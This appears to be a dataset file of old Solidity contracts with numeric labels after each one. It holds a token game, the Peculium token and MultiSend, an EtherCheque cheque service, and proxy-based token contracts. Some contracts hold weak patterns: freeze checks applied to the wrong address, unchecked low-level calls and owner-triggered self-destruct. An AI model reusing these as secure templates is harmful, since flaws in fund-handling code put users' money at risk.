}else if(status == Status.Pause){
throw;
}
}
function setAttrs(address csAddr, address gmAddr, address vtAddr, Status _status, uint amtEth, uint amtTok) onlyAuth {
crowdSale = CrowdSale(csAddr);
games = Games(gmAddr);
voting = Voting(vtAddr);
status = _status;
minEtherParticipate = amtEth;
minTokParticipate = amtTok;
}
function USER_GET_CROWDSALE_TOKEN() {
itgTokenTransfer(crowdSale.getToken(msg.sender),true);
}
function USER_VOTE(uint voteId, uint candidateId){
uint addedToken;
uint lockUntil;
(addedToken, lockUntil) = voting.vote(msg.sender,balances[msg.sender],voteId,candidateId);
itgTokenTransfer(addedToken,true);
if(withdrawRestriction[msg.sender] < lockUntil){
withdrawRestriction[msg.sender] = lockUntil;
}
}
function voteInitiate(uint voteId, uint voteRewardPerUnit, uint voteWeightUnit, uint voteStart, uint voteEnd, uint maxCandidateId) onlyAuth {
voting.voteInitiate(voteId, voteRewardPerUnit, voteWeightUnit, voteStart, voteEnd, maxCandidateId);
}
function itgTokenTransfer(uint amt, bool fromOwner) private {
if(amt > 0){
if(fromOwner){
balances[owner] = sub(balances[owner], amt);
balances[msg.sender] = add(balances[msg.sender], amt);
Transfer(owner, msg.sender, amt);
LogFundTransfer(owner, msg.sender, amt, 2);
}else{
balances[owner] = add(balances[owner], amt);
balances[msg.sender] = sub(balances[msg.sender], amt);
Transfer(msg.sender, owner, amt);
LogFundTransfer(msg.sender, owner, amt, 2);
}
}
}
function ethTransfer(address target, uint amt) private {
if(amt > 0){
target.transfer(amt);
LogFundTransfer(0x0, target, amt, 1);
}
}
function USER_GAME_WITH_TOKEN(uint tokenAmountToGame) {
require(status == Status.Game);
require(balances[msg.sender] >= tokenAmountToGame * 1 ether);
require(tokenAmountToGame * 1 ether >= minTokParticipate);
itgTokenTransfer(tokenAmountToGame * 1 ether,false);
games.processWithITG(msg.sender, tokenAmountToGame * 1 ether);
}
function USER_GET_PRIZE() {
uint ethPrize;
uint tokPrize;
(ethPrize, tokPrize) = games.getPrize(msg.sender);
itgTokenTransfer(tokPrize,true);
ethTransfer(msg.sender, ethPrize);
}
function selectWinner(uint rand) onlyAuth {
games.selectWinner(rand);
}
function burn(uint amt) onlyOwner {
balances[msg.sender] = sub(balances[msg.sender], amt);
totalSupply = sub(totalSupply,amt);
}
function mint(uint amt) onlyOwner {
balances[msg.sender] = add(balances[msg.sender], amt);
totalSupply = add(totalSupply,amt);
}
function lossToCharity(uint year,address charityAccount) onlyAuth {
ethTransfer(charityAccount, games.lossToCharity(year));
}
function charityAmtToCharity(address charityAccount) onlyOwner {
ethTransfer(charityAccount, games.charityAmtToCharity());
}
function distributeTokenSale(uint hour, uint month, uint year, uint charity) onlyAuth{
games.distributeTokenSale(hour, month, year, charity);
}
} | 1 | 5,406 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MultiSend is Ownable {
using SafeMath for uint256;
Peculium public pecul;
address public peculAdress = 0x3618516f45cd3c913f81f9987af41077932bc40d;
uint256 public decimals;
function MultiSend() public{
pecul = Peculium(peculAdress);
decimals = pecul.decimals();
}
function Send(address[] _vaddr, uint256[] _vamounts) onlyOwner
{
require ( _vaddr.length == _vamounts.length );
uint256 amountToSendTotal = 0;
for (uint256 indexTest=0; indexTest<_vaddr.length; indexTest++)
{
amountToSendTotal = amountToSendTotal + _vamounts[indexTest];
}
require(amountToSendTotal*10**decimals<=pecul.balanceOf(this));
for (uint256 index=0; index<_vaddr.length; index++)
{
address toAddress = _vaddr[index];
uint256 amountTo_Send = _vamounts[index]*10**decimals;
pecul.transfer(toAddress,amountTo_Send);
}
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
PeculiumOld public peculOld;
address public peculOldAdress = 0x53148Bb4551707edF51a1e8d7A93698d18931225;
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
mapping(address => bool) public balancesCannotSell;
event ChangedTokens(address changedTarget,uint256 amountToChanged);
event FrozenFunds(address address_target, bool bool_canSell);
function Peculium() public {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[address(this)] = totalSupply;
peculOld = PeculiumOld(peculOldAdress);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return StandardToken.transferFrom(_from,_to,_value);
}
function ChangeLicense(address target, bool canSell) public onlyOwner
{
balancesCannotSell[target] = canSell;
FrozenFunds(target, canSell);
}
function UpgradeTokens() public
{
require(peculOld.totalSupply()>0);
uint256 amountChanged = peculOld.allowance(msg.sender,address(this));
require(amountChanged>0);
peculOld.transferFrom(msg.sender,address(this),amountChanged);
peculOld.burn(amountChanged);
balances[address(this)] = balances[address(this)].sub(amountChanged);
balances[msg.sender] = balances[msg.sender].add(amountChanged);
Transfer(address(this), msg.sender, amountChanged);
ChangedTokens(msg.sender,amountChanged);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() public constant returns (uint256)
{
return now;
}
function getOwnerInfos() public constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
}
contract PeculiumOld is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function PeculiumOld() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 1 | 3,143 |
pragma solidity ^0.4.11;
contract EtherCheque {
enum Status { NONE, CREATED, LOCKED, EXPIRED, USED}
enum ResultCode {
SUCCESS,
ERROR_MAX,
ERROR_MIN,
ERROR_EXIST,
ERROR_NOT_EXIST,
ERROR_INVALID_STATUS,
ERROR_LOCKED,
ERROR_EXPIRED,
ERROR_INVALID_AMOUNT,
ERROR_USED
}
struct Cheque {
bytes32 pinHash;
address creator;
Status status;
uint value;
uint createTime;
uint expiringPeriod;
uint8 attempt;
}
address public owner;
address[] public moderators;
uint public totalCheque = 0;
uint public totalChequeValue = 0;
uint public totalRedeemedCheque = 0;
uint public totalRedeemedValue = 0;
uint public commissionRate = 10;
uint public minFee = 0.005 ether;
uint public minChequeValue = 0.01 ether;
uint public maxChequeValue = 0;
uint8 public maxAttempt = 3;
bool public isMaintaining = false;
mapping(bytes32 => Cheque) items;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier isActive {
if(isMaintaining == true) throw;
_;
}
modifier onlyModerators() {
if (msg.sender != owner) {
bool found = false;
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == msg.sender) {
found = true;
break;
}
}
if (!found) throw;
}
_;
}
function EtherCheque() {
owner = msg.sender;
}
event LogCreate(bytes32 indexed chequeIdHash, uint result, uint amount);
event LogRedeem(bytes32 indexed chequeIdHash, ResultCode result, uint amount, address receiver);
event LogWithdrawEther(address indexed sendTo, ResultCode result, uint amount);
event LogRefundCheque(bytes32 indexed chequeIdHash, ResultCode result);
function ChangeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function Kill() onlyOwner {
suicide(owner);
}
function AddModerator(address _newModerator) onlyOwner {
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == _newModerator) {
return;
}
}
moderators.push(_newModerator);
}
function RemoveModerator(address _oldModerator) onlyOwner {
uint foundIndex = 0;
for (; foundIndex < moderators.length; foundIndex++) {
if (moderators[foundIndex] == _oldModerator) {
break;
}
}
if (foundIndex < moderators.length)
{
moderators[foundIndex] = moderators[moderators.length-1];
delete moderators[moderators.length-1];
moderators.length--;
}
}
function SetCommissionRate(uint _commissionRate) onlyModerators {
commissionRate = _commissionRate;
}
function SetMinFee(uint _minFee) onlyModerators {
minFee = _minFee;
}
function SetMinChequeValue(uint _minChequeValue) onlyModerators {
minChequeValue = _minChequeValue;
}
function SetMaxChequeValue(uint _maxChequeValue) onlyModerators {
maxChequeValue = _maxChequeValue;
}
function SetMaxAttempt(uint8 _maxAttempt) onlyModerators {
maxAttempt = _maxAttempt;
}
function UpdateMaintenance(bool _isMaintaining) onlyModerators {
isMaintaining = _isMaintaining;
}
function WithdrawEther(address _sendTo, uint _amount) onlyModerators returns(ResultCode) {
uint currentProfit = this.balance - (totalChequeValue - totalRedeemedValue);
if (_amount > currentProfit) {
LogWithdrawEther(_sendTo, ResultCode.ERROR_INVALID_AMOUNT, 0);
return ResultCode.ERROR_INVALID_AMOUNT;
}
_sendTo.transfer(_amount);
LogWithdrawEther(_sendTo, ResultCode.SUCCESS, _amount);
return ResultCode.SUCCESS;
}
function RefundChequeById(string _chequeId) onlyModerators returns(ResultCode) {
bytes32 chequeIdHash = sha3(_chequeId);
Cheque cheque = items[chequeIdHash];
if (cheque.status == Status.NONE) {
LogRefundCheque(chequeIdHash, ResultCode.ERROR_NOT_EXIST);
return ResultCode.ERROR_NOT_EXIST;
}
if (cheque.status == Status.USED) {
LogRefundCheque(chequeIdHash, ResultCode.ERROR_USED);
return ResultCode.ERROR_USED;
}
totalRedeemedCheque += 1;
totalRedeemedValue += cheque.value;
uint sendAmount = cheque.value;
cheque.status = Status.USED;
cheque.value = 0;
cheque.creator.transfer(sendAmount);
LogRefundCheque(chequeIdHash, ResultCode.SUCCESS);
return ResultCode.SUCCESS;
}
function RefundChequeByHash(uint256 _chequeIdHash) onlyModerators returns(ResultCode) {
bytes32 chequeIdHash = bytes32(_chequeIdHash);
Cheque cheque = items[chequeIdHash];
if (cheque.status == Status.NONE) {
LogRefundCheque(chequeIdHash, ResultCode.ERROR_NOT_EXIST);
return ResultCode.ERROR_NOT_EXIST;
}
if (cheque.status == Status.USED) {
LogRefundCheque(chequeIdHash, ResultCode.ERROR_USED);
return ResultCode.ERROR_USED;
}
totalRedeemedCheque += 1;
totalRedeemedValue += cheque.value;
uint sendAmount = cheque.value;
cheque.status = Status.USED;
cheque.value = 0;
cheque.creator.transfer(sendAmount);
LogRefundCheque(chequeIdHash, ResultCode.SUCCESS);
return ResultCode.SUCCESS;
}
function GetChequeInfoByHash(uint256 _chequeIdHash) onlyModerators constant returns(Status, uint, uint, uint) {
bytes32 chequeIdHash = bytes32(_chequeIdHash);
Cheque cheque = items[chequeIdHash];
if (cheque.status == Status.NONE)
return (Status.NONE, 0, 0, 0);
if (cheque.expiringPeriod > 0) {
uint timeGap = now;
if (timeGap > cheque.createTime)
timeGap = timeGap - cheque.createTime;
else
timeGap = 0;
if (cheque.expiringPeriod > timeGap)
return (cheque.status, cheque.value, cheque.attempt, cheque.expiringPeriod - timeGap);
else
return (Status.EXPIRED, cheque.value, cheque.attempt, 0);
}
return (cheque.status, cheque.value, cheque.attempt, 0);
}
function VerifyCheque(string _chequeId, string _pin) onlyModerators constant returns(ResultCode, Status, uint, uint, uint) {
bytes32 chequeIdHash = sha3(_chequeId);
Cheque cheque = items[chequeIdHash];
if (cheque.status == Status.NONE) {
return (ResultCode.ERROR_NOT_EXIST, Status.NONE, 0, 0, 0);
}
if (cheque.status == Status.USED) {
return (ResultCode.ERROR_USED, Status.USED, 0, 0, 0);
}
if (cheque.pinHash != sha3(_chequeId, _pin)) {
return (ResultCode.ERROR_INVALID_STATUS, Status.NONE, 0, 0, 0);
}
return (ResultCode.SUCCESS, cheque.status, cheque.value, cheque.attempt, 0);
}
function GetChequeInfo(string _chequeId) constant returns(Status, uint, uint, uint) {
bytes32 hashChequeId = sha3(_chequeId);
Cheque cheque = items[hashChequeId];
if (cheque.status == Status.NONE)
return (Status.NONE, 0, 0, 0);
if (cheque.expiringPeriod > 0) {
uint timeGap = now;
if (timeGap > cheque.createTime)
timeGap = timeGap - cheque.createTime;
else
timeGap = 0;
if (cheque.expiringPeriod > timeGap)
return (cheque.status, cheque.value, cheque.attempt, cheque.expiringPeriod - timeGap);
else
return (Status.EXPIRED, cheque.value, cheque.attempt, 0);
}
return (cheque.status, cheque.value, cheque.attempt, 0);
}
function Create(uint256 _chequeIdHash, uint256 _pinHash, uint32 _expiringPeriod) payable isActive returns(ResultCode) {
bytes32 chequeIdHash = bytes32(_chequeIdHash);
bytes32 pinHash = bytes32(_pinHash);
uint chequeValue = 0;
uint commissionFee = (msg.value / 1000) * commissionRate;
if (commissionFee < minFee) {
commissionFee = minFee;
}
if (msg.value < commissionFee) {
msg.sender.transfer(msg.value);
LogCreate(chequeIdHash, uint(ResultCode.ERROR_INVALID_AMOUNT), chequeValue);
return ResultCode.ERROR_INVALID_AMOUNT;
}
chequeValue = msg.value - commissionFee;
if (chequeValue < minChequeValue) {
msg.sender.transfer(msg.value);
LogCreate(chequeIdHash, uint(ResultCode.ERROR_MIN), chequeValue);
return ResultCode.ERROR_MIN;
}
if (maxChequeValue > 0 && chequeValue > maxChequeValue) {
msg.sender.transfer(msg.value);
LogCreate(chequeIdHash, uint(ResultCode.ERROR_MAX), chequeValue);
return ResultCode.ERROR_MAX;
}
if (items[chequeIdHash].status != Status.NONE && items[chequeIdHash].status != Status.USED) {
msg.sender.transfer(msg.value);
LogCreate(chequeIdHash, uint(ResultCode.ERROR_EXIST), chequeValue);
return ResultCode.ERROR_EXIST;
}
totalCheque += 1;
totalChequeValue += chequeValue;
items[chequeIdHash] = Cheque({
pinHash: pinHash,
creator: msg.sender,
status: Status.CREATED,
value: chequeValue,
createTime: now,
expiringPeriod: _expiringPeriod,
attempt: 0
});
LogCreate(chequeIdHash, uint(ResultCode.SUCCESS), chequeValue);
return ResultCode.SUCCESS;
}
function Redeem(string _chequeId, string _pin, address _sendTo) payable returns (ResultCode){
bytes32 chequeIdHash = sha3(_chequeId);
Cheque cheque = items[chequeIdHash];
if (cheque.status == Status.NONE) {
LogRedeem(chequeIdHash, ResultCode.ERROR_NOT_EXIST, 0, _sendTo);
return ResultCode.ERROR_NOT_EXIST;
}
if (cheque.status == Status.USED) {
LogRedeem(chequeIdHash, ResultCode.ERROR_USED, 0, _sendTo);
return ResultCode.ERROR_USED;
}
if (msg.sender != cheque.creator) {
if (cheque.status != Status.CREATED) {
LogRedeem(chequeIdHash, ResultCode.ERROR_INVALID_STATUS, 0, _sendTo);
return ResultCode.ERROR_INVALID_STATUS;
}
if (cheque.attempt > maxAttempt) {
LogRedeem(chequeIdHash, ResultCode.ERROR_LOCKED, 0, _sendTo);
return ResultCode.ERROR_LOCKED;
}
if (cheque.expiringPeriod > 0 && now > (cheque.createTime + cheque.expiringPeriod)) {
LogRedeem(chequeIdHash, ResultCode.ERROR_EXPIRED, 0, _sendTo);
return ResultCode.ERROR_EXPIRED;
}
}
if (cheque.pinHash != sha3(_chequeId, _pin)) {
cheque.attempt += 1;
LogRedeem(chequeIdHash, ResultCode.ERROR_INVALID_STATUS, 0, _sendTo);
return ResultCode.ERROR_INVALID_STATUS;
}
totalRedeemedCheque += 1;
totalRedeemedValue += cheque.value;
uint sendMount = cheque.value;
cheque.status = Status.USED;
cheque.value = 0;
_sendTo.transfer(sendMount);
LogRedeem(chequeIdHash, ResultCode.SUCCESS, sendMount, _sendTo);
return ResultCode.SUCCESS;
}
} | 1 | 3,784 |
pragma solidity 0.4.25;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
